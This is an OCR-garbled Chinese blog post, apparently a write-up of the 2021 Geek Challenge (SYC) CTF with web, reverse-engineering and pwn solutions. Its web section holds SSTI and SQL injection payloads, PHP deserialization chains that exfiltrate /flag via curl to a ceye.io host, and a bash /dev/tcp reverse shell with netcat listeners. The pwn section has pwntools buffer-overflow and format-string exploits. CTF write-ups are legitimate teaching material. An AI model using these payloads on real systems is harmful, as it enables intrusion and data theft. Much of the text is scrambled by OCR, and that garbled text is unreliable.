2021t B K WPES

OceanSec F 2021-11-20 16:30:00 & fii 974 W 6

FFEER: #CTF XEHAE: cff ¥ia pwn Z 3]

FRALE B ASCRE ERAQICE, #IE.CC 4.0 BY-SA WRAIMY, 85 _EJFE T s M A=,
ACEERE: https://blog.csdn.net/q20010619/article/details/121323717

FERAL

66 F3CE 29 1T 5
R =
WP R B 55 8 i i 2 e I 2% 22 44 [

NS : QNLU_CTF

CSDN @Ocean:)

KIS BME LRI IR ARE
XEHF


https://oceansec.blog.csdn.net
https://blog.csdn.net/q20010619/category_9806360.html
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E9%2580%2586%25E5%2590%2591&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=pwn&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E4%25BA%258C%25E8%25BF%259B%25E5%2588%25B6&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/q20010619/article/details/121323717
https://blog.csdn.net/q20010619/category_9806360.html

WEB

Dark
Welcome2021
babypy
babyphp
babypop
where_is_my_FUMO
HEUORA EE
easyPOP
babysq|l
Baby PHP_Black_Magic_Enlightenment
ARERK
givemeyourlove

RE
Re0
1=
easypyc

SXIH S5 T %4 KT
PWN

Retox
easycanary
easyfmt
TR NERR
BEANER2.0
checkin
pwn777
MISC
A RA BRI
Crypto
=AM AT A

WEB

Dark

—%&url, onion&s R HnHE g M 1544
fEFEREN AT, BEHhtmHRS



C & view-source:http://c6h35nlkecewSvzepsacsidbip2ezotsnjésywn7znkdtrbsqkexa7yd.onion/

<html>
<body>
<h1>there is no flag here</h1>
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</body>
</html>
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HGETH AWELCOMERPY], #RJ51/19f1111aaaggg9.php

m < v Target: Mtp /Y 14,102328001 L rTRR @
t n [ O== =
oy [E e w = | e W s
&
| NELGONE /#11t1aaagge® pho HTTR/L 1 HTIPE. | 304 Mo Content =
Bost: 114102 27:8011 T Bate: Sat, M) Ocr JOTE O4:27:53 GMT Q
Bache-Control: max-agesd Sarwer: hoachasT. 4,38 (Debisn) o
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config. init . globals_[' builtins__

‘eval']("__import_ ('os').popen('cat /flag').read()"



Target: BHpYLIAI022EM24 P TRy
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Comtent-Type: Lesl/hisl: ahissatoutf-8

173
magave
Accept-Language
Comectlion: ¢lase
title
Eat /FUng'). rasdl) 7] | EbedymhIChod IENICNIFbody NIE
(FiEs e > amahen (TN €[

babyphp
BHE A
i i robots.txt

V5 il /Inoobcurl.php

function ssrf _me( )
curl init();
curl setopt( , CURLOPT_URL, )5
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl exec( );

curl close( );

echo
}
if(isset( [furl'])){

ssrf_me( [furl']);

}

else{
highlight file(_ FILE_);
echo "<!-- H&AE—TAee, flagfEiBHF -->";

enflag?EiR B 3%, BHEZEHAfileiptn] LA
obcurl.php?url=file://fflag
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class a {
public static
public static
)i
class b {
private
public function __ toString()
{
if (a ) |
return exec( i_want_2 listen_2 MaoZhongDu);
} else {

class c {

public function _ wakeup()

class d {
public function __invoke()
{
a true;
return "REFRR," value;

}
class e {
public function _ destruct()
{
if (a ) {
( atkl)();
} else {

if (isset( ['data'])) {

unserialize(base64 decode( ['data']));
} else {

highlight file( FILE_ );
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class b {
private $i_want_2_listen_2_MaoZhongDu;
public function __toString()

4

if (a::5Do_u_like_AFKL) {

return exec($this->i_want_2_listen_2_MaoZhongDu);

~

} else

thro ew Error("Noooooooooooooo0ooo000o0o000oo!l !t

(W

RIERIEAREFH T returnid TR B, 1A4F ] A& toString 7%

class d {

public function

I
L

_invoke()

a::5Do u_Tlike AFKL = true;

return "=k

" ., S$this->value;

/

R JE FeR BN RIFHIMT N Bt /T LA % __invoke

class e

public function __destruct()

if (a::5Do_u_like_JiaRan) {
($this->afkl) ();
} else {

throy new Error("Nooooooo000000000000000000000! 111!

S ]
—t

—t

BERICVAA - REIREaREH THSZREN T

class a {

public static
public static

FrUA R gt e wakeup iR BiZE$Do_u_like_JiaRanfiI{E
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class b {
private
public function _ construct(){

i want_2 listen_2 MaoZhongDu="curl

class c {
public 5
public function _ construct(){

cvalue=new e();

class d {
public 5
public function __ construct(){

value=new b();

class e {
public ;
public function __ construct(){
afkl=new d();

new c();

echo base64_encode(serialize(

))s

Name

base64f# S Bl 7]

IJTRH, ™ UE BIRD

“cat</flag|base64” .xxxx.ceye.io";




function chijou_kega no_junnka( ) {
[||>||) ||;||J |||||J ||{||J ||}||J ||/||J " ||];

return str_replace( g g )

}
if (isset( ['DATA'])) {
['DATA'];
chijou_kega_no_junnka( ["ADDR']);
chijou_kega_no_junnka( ["PORT']);
exec("bash -c \"bash -i < /dev/tcp/ / \"");
} else {
highlight_file(__FILE_ );
}

A LLEIE HHE S, exechb ] LR #ishell

http://1.14.102.22:8115/?DATA[ADDR J=IP&DATA[PORT ]=port

XFE R AT Ui shell 5 # 3 %F B i 11
P vps I Wfr o 52 35 1 BP ]
ERFEAME S, bashk#shell5y:, Reekam S NLHENERRZEFE, aLS U UIITEREERE

bash -1 dev/tcp

[root@izbpli7e0dgxcb89vkdgc3z ~]# nc -Llvvp 9999
Version 7.50 ( https://nmap.org/ncat )
Listening on :::9999
Listening on 0.0.0.0:9999
Connection from 1.14.102.22.

Connection from 1.14.102.22:58108.

23R Eshellz F WA WM T, F—FHi2 R EE AL HXshell Evpsi) H g 0

bash -i /dev/tcp/ip/6666

[root@izbpli7e0dqxcb89vkdgc3z ~]# nc -lvvp 9999
Ncat: Version 7.50 ( https://nmap.org/ncat )
Listening on :::9999
Listening on 0.0.0.0:9999

Connection from 1.14.102.22.

: Connection from 1.14.102. ?? 58140.
deh -1 >& /dev/tcp/lo_. _ T 754/6666 0>&1

WWrim H, Z3shell, KR HFflag.png



www-data@c05e6f3f719d:/$ 1s -al

1s -al

total 1052

drwxr-xr-x root root 4096

drwxr=-xr-x root root 4096 .

- MWXF-Xr-X | root root 0 7 05: .dockerenv

drwxr-xr-x . root root 4096 } 04: bin
drwxr-xr-x 2 root root 4096 99 : boot
drwxr-xr-x root root 340 951 dev
drwxr=-xr-x root root 4096 : etc
-r--r--r-- root root 865736 17:52 flag.png

RIAFR www-data, T EHL K STHARER Aroot, iR REEEF XM, B4 TshelT

RENE, KEEIKbaseds i HFALE 2B A

g i iy
Ehi s, HE T fEbashx#shellft) B 3
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cat /flag.png >& /dev/tcp/~’ .254/6666 0>&1

vps i T 66663 H 4 BB R 7

nc -lvvp 6666 > /var/test.png

[root@izbpli7e0dqxcb89vkdgc3z ~]# nc -lvvp 6666 > /var/test.png
: Version 7.50 ( https://nmap.org/ncat )
Listening on :::6666

: Listening on 0.0.0.0:6666

: Connection from 1.14.102,22.

: Connection from 1.14.102.22:53702.
DEBUG: Closing fd 5.

REREE ), Biflag



Two baka are looking at each other

And she tall you flag is SYC{Baka~Baka~Baka~}

VKR
XANBAR M A2 E WK
HIXIEZ BT, ST XREwebE, NEEEE KL EH

BHER: RBIOSYCE A LIk Afag, ERRA8HK, ZRIMEBHId=9, RIURFHIR, FIFELH LLAE

$("[href="1"]").click{function(}{

var params = {};
console.log(123);

params.id = $(this).attr("id"); BdER G, #1TNEZCZR
params.timestamp = get_timel);
params.fake_flag= 'SYCf{lingze_find_a_girlfriend}’;
params.sign = makeSign(params, secret);
S.ajax({
url : "http://106.55.154.252:8083/sign.php”,
data : params,
type:'post’,
success:functionimsg){
S(#ttext’).html(msg);
alert{msg);
L

async:false
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class a {
public function _ destruct()

test->test();

abstract class b {
private 1;
abstract protected function eval();

public function test() {
( b) ()3

}

class c extends b {
private 5
protected 5
protected function eval() {
if (is_array( value)) {
( call)( value);
} else {
die("you can't do this :(");

class d {
public ;
public function eval( ) {
( value);

}
if (isset( ['data'])) {

unserialize(base64 decode( ['data']));
} else {

highlight_file(__ FILE_ );

s
exp
php
class a {
public function _ construct()

test=new c('cat /flag');

abstract class b {
private $b; #MEETESHRIEE T2

public function _ construct() {

b=[ ,'eval'];

abstract protected function eval();

public function test() {
( b) () ; #XE R BERAT L Z 1) ¥ Aphpinfo




private

protected

function _ construct( ) {
parent:: construct();
call=[new d('system'), 'eval'];
value=[new d( ), 'eval'];

1
J

protected function eval() {
if (is_array( value)) {
( call)( value);
} else {

die("you can't do this :(");

public function __ construct(
value 5
}
public function eval( ) {
( value);

new a();
echo base64_encode(serialize(

SYC{d3sTruct-»pOp->pOp->ree)

babysql
BESHE
S W [B] 58 21,2

uname=1&pwd=1" union select 1,2,3,4 #




@ 47.100.242.70:4339

your uname:1 and your pwd:2

13 e R A AR H A flag R

uname=1&pwd=1"' union select 1,group_concat(schema_name),3,4 from information_schema.schemata#

© 47.100.242.70:4339

your uname:1 and your
pwd:information_schema,performance_schema,test,mysql,flag,ba

bysqgl

B flagE I F

uname=1&pwd=1" union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fl

ag'#

@ 47.100.242.70:4339

your uname:1 and your pwd:fllag

AT 47.100.242.70:4339 B EEEET

B Hifllag® 1 7Bt

uname=1&pwd=1" union select 1,group_concat(column_name),3,4 from information_schema.columns where table name='fl

lag'#

T 47 1U0.LE£. /UG53 3T

your uname:1 and your pwd:fllllilag,wlz

AFEF 47.100.242.70:4339 B rasdsr



uname=1&pwd=1" union select 1,group_concat(fllllllag),3,4 from flag.fllag#

@ 47.100.242.70:4339

your uname:1 and your pwd:SYC{U_4NOvv_Sql_Noyv~}

echo "PHP is the best Language <br/>";
echo "Have you ever heard about PHP Black Magic<br/>";
error_reporting(9);
[ "password'];
is_numeric( )?die("no way"):NULL;
if( 9999){
echo file get contents('./2.php');

echo "How's that possible";

highlight file(_ FILE_ );

/Art is long, but life is short. So I use PHP.

/I think It s So useful that DiaoRen Said;

/why not they use their vps !!!

/BBTZ Le jiarenmen
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A FE2 | view-source:tc.rigelx.top:8003/?password[]=1

BnhikiT O
1 PHP is the best Language <br/>Have you ever heard about PHP Black M
2  $next_chanllege="baby_magic.php’
3 // view—source is a good habit

BIR

error_reporting(9);
getenv('flag');
if (isset( ["user']) and isset( ['pass']))
{
if ( ["user'] ["pass'])
echo 'no no no no way for you to do so.';
else if (shal( ["user']) shal( ['pass']))
die('Glve u the flag' G
else
echo 'not right';
)i
else
echo 'Just glve it a try.';
highlight_file(__ FILE_ );

ERHAST

http://tc.rigelx.top:8003/baby_magic.php?user[1]=2&pass[1]=1

C A F%2| tcrigelxtop:80

G1ve u the flagbaby_revenge.php



error_reporting(9);
getenv('fllag');
if (isset( ["user']) and isset( ["pass']))
{
if ( ["user'] ["pass'])
echo 'no no no no way for you to do so.';

else if(is_array( ["user']) is_array( ['pass']))

die('There is no way you can sneak me, young man!');
else if (shal( ["user']) shal( ['pass'])){

echo "Hanzo:It is impossible only the tribe of Shimada can controle the dragon<br/>";
die('Genji:We will see again Hanzo' ‘<br/>"');
}
else
echo 'Wrong!';
}else
echo 'Just Glve it a try.';
highlight file(__ FILE_ );

sha17lf &

http://tc.rigelx.top:8003/baby_revenge.php?user=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%200bj%0A%3C%3C/Width%
202%200%20R/Height%203%200%20R/Type%204%200%20R /Subtype’%205%200%20R/Filter%206%200%20R/ColorSpace’%207%200%20R/Le
ngth%208%200%20R/BitsPerComponent%208%3E%3E%OAstream%OA%FF%D8%FF%FE%00%24SHA-1%201s%20dead%21%21%21%21%21%85 / %EC]
%609%239u%9C9%B1%AL%CE%3CLEITHEL%F F%FE%OLSF%DC%ILT%BE%7E%RLL%BF%02%9A%B6%21%B2V%0OF %F 9%CAg%CCRAB%CT%F 8%5B%A8LY%03%0
C%2B%3D%E2%18%F 8m%B37%A9%09%01%D5%DFE%C10%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BCHEOF%D2%3CW%0OF %EB%14%13%98%BBU .
F 5%A0%A8%2B%E31%F E%AA%807%B8%B5%D7%1F%0E3 . %XDF %93%AC5%00%EBM%DC%OD%E C%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%DOk%DO%AF
%63F%98%CD%AA%BCF%29%B1&

&pass=%25PDF -1.3%0A%25%E2%E 3%CF%D3%0A%0A%0A1%200%200bj%0A%3C%3C/Width%202%2007%20R /Height%203%200%20R/Type%2047%20

0%20R/Subtype’%205%200%20R/Filter%206%200%20R/ColorSpace’%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3)
E%OAstream%OA%FF%D8%F F%FE%00%24SHA-1%201s%20dead%21%21%21%21%21%85 / %EC%09%239u%9C9%B1%A1%C6%3CL%97%EL1%FFX%FE%01%7|
FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%OBE%CAg%D6%88%C7%F 8K%BCLY%1F%EQ%2B%3D%F 6%14%F8m%B11i%09%01%C5kE%C1S%OA%FE
DF%B7%608%EOrr/%E7%ADr%8F %0E I%0A%EOF %C20W%OF %E9%DA%13%98%ABKEL . %F 5%BC%O4%2B%E35B%AA%80 - %98%B5%D7%0OF %2A3 . %C3%7F%
AC5%14%E7M%DC%OF%2C%C1%A8t%CD%OCx0Z%21Vda0%97%89%60k%DO%BF%3F%98%CD%A8%0AF%29%A1

terigelxtop:

Hanzo:lt is impossible only the tribe of Shimada can controle the dragon

Genji:We will see again

EALES



getenv('f111111111ag"');
if(strstr("Longlone", ["id'])) {
echo("no no nol<br>");
exit();

["id'] urldecode( ["id']);
1f( ['id'] "Longlone")
{

echo "flag:

1
J

highlight file(_ FILE_ );

4

R, 2H—IKstrstrf BEB urlf@il, R Eurlgmfd il Yt v blgsid

http://tc.rigelx.top:8003/here_s_the_flag.php?id=%25%34%63%25%36%66%25%36%65%25%36%37%25%36%63%25%36%66%25%36%65
625%36%35

= | terigelxtop: 8

flag: flagiPHP_1s_fulking_awesome} <?php
$flag=getenv(’flllillag’);
if(strstr("Longlone™,$_GET["id'])) {

echol(”no no nol<br="};

axitl);

]

$_GET['id'] = uridecode($_GET["id']);
if($_GET[id'] === "Longlone™)

echo "flag: $flag™;
}
highlight_file{__FILE_);
P

ARZARK
A A T

HARRERAM, BRRK RAKS

Feb R B F R AT LARS SEEIR, (RAVEENS, FABEEI20195FAJadmin

W

E#H

iR EIKSIE:)

username; liubo

passwiord: renmiryishujia
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e W =
FOET fcheck, php HTTRAL.1

2 Wewe: 1DE.5%5.154.752:201%
Comtent-Length:
- oRtEsl!

T M L0 (Windows
Llike Gecko) Chreme/3I.0

Accept-Encoding:
I Aseept-Langaag
Comnactien: <

fERwtioEE, A%, {HHjwicracki®i, %151234,

JIUZTINALSIr

B e e Rete o =

HTTR/L. 1 2090 oF
I pare: sae, 30
Server: Apache
4 3-Puws red- By
INT: ey IEBETIOLIE
& vary: Accept-Encoding
Contenc-Lenguh: 55

2021 13:20:57 o7
iDak 1)

EWUL0 Jm'tw

ZE& RN B Siname yadmin, timex2019

cbWlulng.r

eyJhbGei0iJIUzITNiIsInR5cCI6IkpX
JeaW11IjoiMjAx0SIsImShbWU101iJhIG
WInN2vLaVeNMMsTu-6-
foUOZ8trVoL12RsZ_gGdBIdk

—IFEULNR AT, KB T jwt,

o5

B v =

Pretry
1 ROST /check.php HITR/L.1
Host: 10&.55,154.252:2019

Content-Lengch: 38
Cache-Contrel: max-age=0
Upgrade-Insscurs-Requasta: 1

VCJ9.ey

1pbiJ9, {
. "HS256°,

"JWT

‘alg”:
“typ”

“time”: T28197,

—
—

admin

name

VERIFY SIGMATURE

HMACSHAZ 56 (
base6dlrlEncode(header) +
basesdlr ~ode(f

[ secret base64 encoded

¢ RdirsearchtB %3 FINE, Bk T ifhttpid K17

mm He: Render n

1 HYTRFfL.1 200 ok

Date: Sat, 30 oct Z0Z1 13:24:10 oMt
srver: Apache/Z.4.35 (Debian)
-Fowered-By: FHEST.1.33
5 contant-Lemgrh: 53

Jwt:

ey ThbGoiolIIUzT INS TR InRSeCT EIRpHVETS, ey d0aW Ll T join jAxOSIsInShbRUiIOIThIGlp

viaVENMMe fu-E-TolOEEteVELIIRaS _gCdBIdk

N Er o H T Pt paren e S
Contant-Type: lication/x-www-fors-urisncoded
User-Agent: MozillafS.0 (Windows 10.0; winfid; xéd)
{ERTHL, like Gecke) Chreme/BI.0.4515.15F Safari/537.36
Accept
texe/hrel, appl
bp, image/ apng,

11 Referec: http://106.55, 154, 252:200%/ index. php

2 Accept-Encoding: gzip, deflate

13 Accepr-Language: sh=CiH,sh:g=0,5

14 Comnection: close

anfxhealexnl, applicationfeal rgq=0.5,

16 username=liuhospassworder imhujia

£ Connection: close
content=Typs: text/htal: charser=UTE=§

+ T rI e LagyggufET134758 1. php

AppleNebrit s/ 537, 38

image/avif, image/we "

0.2, application/signed-exchange; v=b3;q=0.%



106.55.154.25

SYC[X1a0_ChOu_hello_Why_S0_Ser1Ousli Sl

givemeyourlove

RRMEHET, ssfiTredis

/ I hear her Lucky number is 123123
highlight file(__ FILE_ );
curl init();

[furl'];
if(preg_match("/~https|dict|file:/is"
i

echo "NO NO HACKING!!';
die();

1
J

curl setopt( , CURLOPT_URL, )
curl setopt( , CURLOPT_HEADER, 0);

curl exec(

a] LAME A http B, I AR % T B
http:/1.14.71.112:44423/?url=http://127.0.0.1:6379
KIPiredisii AN IR K, SRTHEIITAE

RE
Re0

faFlidaht HEFS5 R FFHFH M AT LLE Fiflag



w Lumina Opticns Windows Help

A0 BEE &g FS-FX b OO AR debugger v | %l il
B Instruction Data B Onexplored External syabol B Lusina function
& x| [ IDA View-& T Peeudocode-A o strings window E] T Hex View-1 Al Structures 1) Enums T
Address Length Type Siring
1ac0000000..., 23 C SYC{welcome to Geek challenge2021)

Welcome to Geek 2021!"nHi!Reverser!

Do_you_know IDAY

Are you sure you want to start the reverse road? This is a long and not easy road(y/n)
Please open the executable file with ida

Everyone has his own choice and his own path

[N asNaNaNal

*SYC{Welcome_to_Geek_challenge2021}*
fEZlidar & EImainek # 7] LLFE 2B B 0

Library functicn Bl Regular functien B Instructisn Data B Onexplerad External symbel B Lumina functisn

7l Functions window o & x| 8 I Viera TE PreudocodeA B 5 Strings window 5 Hex Viev-1 Al Stru
Function name 1_int6d _ fastcall main{int al, char **a2, char **a3)

FAE T UNERLY] 24

¥ sub_1180 3 char wa[64); £/

7] sub_11ca 4

7. > strepy(va, " 797GI1IWhVEeMAG5FoGIupHEDro2QyC ixbo IV uhVAN 2pfxkht iTo3CHd7a™) ;

[ main .

— return GLL;

LF| sub 1486 7}

(7] sub_1503
(7] init

(7] fini

-

797G91WhVFeM465F oGJuWpHKDro2QyCixboJV7uhVAV2pfxkhtiTo3CHd7a

ff Fciphey>kE T 2M %G

far M g ML L | oo - prmckd & pem-hacknepy?

No encryption found. Here are some tips to help crack the cipher:
* Use the probability table to work out what it could be. Base = basel6, base32,
* If the probability table says ‘Caesar Cipher' then it is a normal encryption th

Ciphey cannot decrypt yet.
* If Ciphey think's it's a hash, try wsing hash-identifier te find out what hash
and then HashCat to crack the hash.
* The encryption may not centain normal English plaintext. It could be coordinat
another object no found in the dictionary. Use ‘ciphey -d true > log.txt' to generate a
E file of all attempted decryptions and manually search it.
hackergubuntu:-$ ciphey -t '797G91WhVFeM465F0GIulpHKDro2QyCixboIVFuhVAVZpfxkhtiTo3CHd7a '

B4R B 4 H HIbase 1Y

MR G KB Abase58



Base584HEi3
Eitbases58iEiE, Tidbase5888i3. baseSB4RES, baseSAEEM. baseS58check

TITGILWhVF eME6S5F o6 JuWpHEDr 020y C 1 xbo INTuhVAV2pf xkht 1 To3CHATa

i3 BASESS_STRING (Ff ~ FEE gifB(unicoded

%

EYC {C0ngr@tulatlons thls 1s th3 r!gHt flag)

SYC{COngr@tulatiOns_this_1s_th3_rlgHt flag}

easypyc
easypy.pyc

Funcomply6#% Apy e, EEEL


https://uploader.shimo.im/f/O8dpGE8bHWv7Fgeu.pyc?fileGuid=NJkbEQ54V4I1V8qR

def Challenge():
import sys
print("Welcome to py's world")
S input('plz give me your flag:')
Key = input('plz give me your key(string):')
if len(S) 51 or len(Key) 8:
print("the flag's or key's strlen...")
sys.exit()
else:
tmp = S[4:50]
KEY_cmp 'Syclover'
key = []
key_cmp
for i in Key:
key.append(ord(i))
try:
key_cmp chr((key[1] key[2] key[5] 72 key[4] 3 key[3] key[1] CEEN 2) key[ 2
key[7] key[6] 1000) 14)
key_cmp chr((key[5] 7 key[3] key[2] key[6] (key[2] 2) key[1] key[0] key[7]
(key[4] key[1]) (key[4] key[71)) 801)
key cmp chr((key[6] 5 + key[2] key[3] 7 + key[4] key[5] key[4] 10 + key[©O] key[
key[7] key[@] key[1]) 924)
key_cmp chr(key[1] 3 key[5] key[0] key[2] 2 key[3] ) key[4] (key[6] key[7
16)
key cmp chr((key[5] 12 - key[©] key[6] key[3] 23 key[4] 3 key[2] 8 + key[1] key|
key[6] 4 + 1324) 1)
key_cmp chr(key[3] 54 - key[1] key[2] 3 key[4] 11 key[5] 2 key[0] key[7]
key[6] 6298 + 40)
key cmp chr(key[7] key[6] key[3] key[2] key[2] key[4] 32 + key[5] (key[@] 2)
ey[1] key[1] 6689 + 41)
key cmp chr((key[5] key[3] 41 + key[6] 41 + key[5] (key[4] key[6] key[@0]) (key[7]
24 | key[2]) key[1] 589) 36)
print(key_cmp)
except ValueError:
print("You know what I'm going to say...
sys.exit()

if key_cmp KEY_cmp:
print("You know what I'm going to say...
sys.exit()
flag [
113, 74, 71, 35, 29, 91, 29, 12, 114, 73, 60, 52, 69, 5, 113, 35, 95, 38, 20, 112, 95, 7, 74, 12, 102,
23, 7, 31, 87, 5, 113, 98, 85, 38, 16, 112, 29, 6, 30, 12, 65, 73, 83, 36, 12, 23]
for i in range(46):
if ord(tmp[i]) key[ ((1 + 1) len(key)) ] flag[i]:
print("You know what I'm going to say...")
sys.exit()

print('Yeah!Submit your flag in a hurry~")

Challenge()

REGRRAVE A K flagif14 212047 Skey#t 47 7 B, R 785 KE% Tflag

PR T E R FEkeyfiflagk Ktmp, FAIANFiEkeyR %D, HEANTW LUEidkey_cmpkkey. FHEIXAZHIFIN, 7 LLHZ3RK




from z3 import
Solver()

BitVec('ve',32)

BitVec('vl',32)

BitVec('v2',32)

BitVec('v3',32)

BitVec('v4',32)

BitVec('v5',32)

BitVec('v6e',32)

BitVec('v7',32)
.add(((v1*v2-v5*72-v4*3-v37v1+(v3<<2)+Vv2*6-v7&v6-1000)-14) EED)
.add (((v5*7+v3*3+v2+v6-(v2>>2)-v1rvO+v7+(v4rvl)+(v4|v7))-801) 121)
.add(((v6*5+v2*6-v3*7+v4 |v5+v4*10+vOrv1*3-v7+v0O+v1l)-924) 99)
.add((v1*3+v5*9+vO+v2*2+v3*5-v4*(v6”v7)+321-16) 108)
.add(((v5*12-vOrv6-v3*23+v4*3+v2*¥8+v1-v7*2+v6*4+1324)+1) 111)
.add((v3*54-v1*3+v2*¥3+v4*11-v5*2+v0O+v7*3-v6-6298+40) 118)
.add((v7-v6*v3+v2*v2-v4*32+v5*(v0>>2)-v1*v1-6689+41) 101)

s.add(((v5-v3*41+v6*41+v5~(v4&v6 |vO)-(v7*24|v2)+v1-589)-36) 114)
print(s.check())
if(s.check() sat):

result s.model()

print(result)

Kitikey = [83,38,121,99,64,45,54,46]
F A # tHflag
[83,38,121,99,64,45,54,46]

[
113, 74, 71, 35, 29, 91, 29, 12, 114, 73, 60, 52, 69, 5, 113, 35, 95, 38, 20, 112, 95, 7, 74, 12, 102, 23, 7

87, 5, 113, 98, 85, 38, 16, 112, 29, 6, 30, 12, 65, 73, 83, 36, 12, 23]
tmp v
for i in range(46):

tmp+= chr((key[((1 + 1) % len(key))]) ~ flag[i])

print(tmp)

SYC{W3$com3_TO_th3 py wlrld @nd_z3 1s so0eo goed!!}
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R

@ sw
A 7% | # DeskButifier
i [ @ || DesktopbeautifierConfigureActivityKtsmali | | Desktopbeautifierktsmali L) deskiop
OrepeUrermm BTeer = 8B (DA D|nn|jee | T|e 5 3

(o|m|sE|® | x= a0
T Project invoke-interface {v0, pl, vl}. Landroid/content/SharedPre
570 build 113
113 move-result-ocbject ol
114
115 if-npez pl, :cond 0
il
0w conat pl, 0xTf0edl2c
110
113 .line B4

120 inveke-virtual {(p0, pl}, Landroid/content/Context;->getst

L1z move-result-object ol

- desktopbeautifier B ) .
bS50 databinding 124 const-string p0, "context.getString(R.string.flag)"
BuildCanfi li e
%d:-shnpl 9":;“ smali 126 invoke-static {pl, p0}, Lkotlin/jwm/internal/Intrinsics;-
 POMCRRRERINS

|} desktopbeautifierConfigur|

'} desktopbeautifierConfigur,

|1 DesktopbeautifierConfigu

|1 Desktopbeautifierkt.smali

[ MainActivity.smali

'} Ranim.smali

|1 R$animator.smali

| Rsattr.smali

| R$boolsmali
R$color.smali
RSdimen.smali

'} R$drawable smali

|l RSid.sma

15125 7k23 BN

(D

| | B

—J

e

REIPS s ST A Y
] LAsiE flag R i% 2 LA 74 8 BTG AE A AE T 30 2

W ) deshopbesutifiersmali | BuldConfig.amali ) MainActivity smali | wiringem
CRIL BRI R RE R T

a «string names=“pottomshest_action_expand halfway®:Expand halfway</string
a <string name="character_counter_content_description™»Chacacters enteced
a <string namem*character_counter owerflowed content_description®»Charact
aw <string name="chatacter_counter_pattern®>¥13d/N25d</stcing>

" “string name: ip_text®*>Chip text</strings

= <string name=clear_text_end icon_content descripiilon®»Clear text</stri

= estring names®configure*> 4 MERE AMBERS, WA RREDLEE

@ <string name="error_icon_coatent_description">Error</string>

" «string names*exposed dropdown menu_content_description®:Sheow dropdown :

" <string name="fab transfommation_scrim behavior®»com.google.android.mat

W «string names*fab transformation sheet behavior®:com.google.android.mat

- <string name=*flag"® </stoing>

W €string name de_bottom view_on_scroll behsvior®rcom.google.android.m

- <string name="icon_content_description™>Dialog Icon</string>

- <string names®item wview role description®>Tabe/strings

i <string name="material clock display divider"»:</string>

[t <string names*material clock toggle _content description®sSslect AM or P

] <string name=“material hour_selection™»Select hour<Ssicings

i wstring names*material hour suffix®>"¥15s o*clock®zfstrings

o <string name=“material minute_selection™»Zelect minutes</string>

e <string names*material mirute suffix®>¥i15s minutes</strings

w cafring namss®material «lider rance snd®sBaroes snd. <ot rinas
B
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from pwn import

import time

context.arch 'amd64 '
context.log level 'debug’

r lambda : p.recv()

rx lambda x: p.recv(x)

ru lambda x: p.recvuntil(x)

rud lambda x: p.recvuntil(x, drop=True)
S lambda x: p.send(x)

sl lambda x: p.sendline(x)

sa = lambda x, y: p.sendafter(x, y)

sla = lambda x, y: p.sendlineafter(x, y)
close lambda : p.close()

debug = lambda : gdb.attach(p)

shell lambda : p.interactive()

# p = process('./pwn')
p remote('123.57.230.48"', '12345")
# gdb.attach(p, 'b *0x08048625")
sa('Try your best to solve it!',p32(0x6b8b4567))
system 0x80483c0
sh 0x80496d0
'a'*30+p32(system)+p32(0)+p32(sh)

easyitt 5 HicanaryR 5 T #AT

from pwn import
context.log level 'debug’

r lambda : p.recv()
(% lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
lambda x, y: p.sendlineafter(x, y)
lambda : p.close()
lambda : gdb.attach(p)
lambda : p.interactive()

# p = process('./pwn")

p = remote('123.57.230.48"','12344")

backdoor=0x4011d6

# gdb.attach(p, 'b *0x4012A3")

s1('%11$p"')

canary = int(rx(18),16)

success(hex(canary))
'a'*Ox28+p64(canary)+p64(0)+p64(backdoor)

5% H canary$R & T AT




from pwn import
context.log level 'debug'’

r lambda : p.recv()
rx lambda x: p.recv(x)
ru lambda x: p.recvuntil(x)
rud lambda x: p.recvuntil(x, drop=True)
S lambda x: p.send(x)
sl lambda x: p.sendline(x)
sa lambda x, y: p.sendafter(x, y)
lambda x, y: p.sendlineafter(x, y)
lambda : p.close()
lambda : gdb.attach(p)
lambda : p.interactive()

# p = process('./pwn')

p remote('123.57.230.48"',"'12344")

backdoor=0x4011d6

# gdb.attach(p, 'b *0x4012A3")

s1('%11$p"')

canary int(rx(18),16)

success(hex(canary))
'a'*@x28+p64(canary)+p64(0)+p64(backdoor)

i B A% XA 7 A5

from pwn import
# context.log level = 'debug'

r lambda : p.recv()
(% lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
S lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
lambda x, y: p.sendlineafter(x, y)
lambda : p.close()
lambda : gdb.attach(p)
lambda : p.interactive()

# p = process('./pwn')

p = remote('123.57.230.48",'12342")
elf = ELF('./pwn')

backdoor = 0x0804874d

# gdb.attach(p, 'b *0x08048685 ")
ru('First step:\n')

target = int(rud('\n'),16)

pl = p32(target)+'%8c%15%$n’
success(hex(target))

sl(pl)

p32(target+0x10)+'%"'+str((backdoor&exff)-4)

'c%7%hhn'




from pwn import

r lambda : p.recv()
rx lambda x: p.recv(x)

ru lambda x: p.recvuntil(x)

rud lambda x: p.recvuntil(x, drop=True)

lambda x: p.send(x)
lambda x: p.sendline(x)
sa lambda x, y: p.sendafter(x, y)
lambda x, y: p.sendlineafter(x, y)
lambda : p.close()
lambda : gdb.attach(p)
lambda : p.interactive()

# p = process('./pwn')
remote('47.242.20.238"', '10001")
'a'*24+p64(0x404058)

from pwn import

r lambda : p.recv()
(% lambda x: p.recv(x)
ru lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
S lambda x: p.send(x)
sl lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
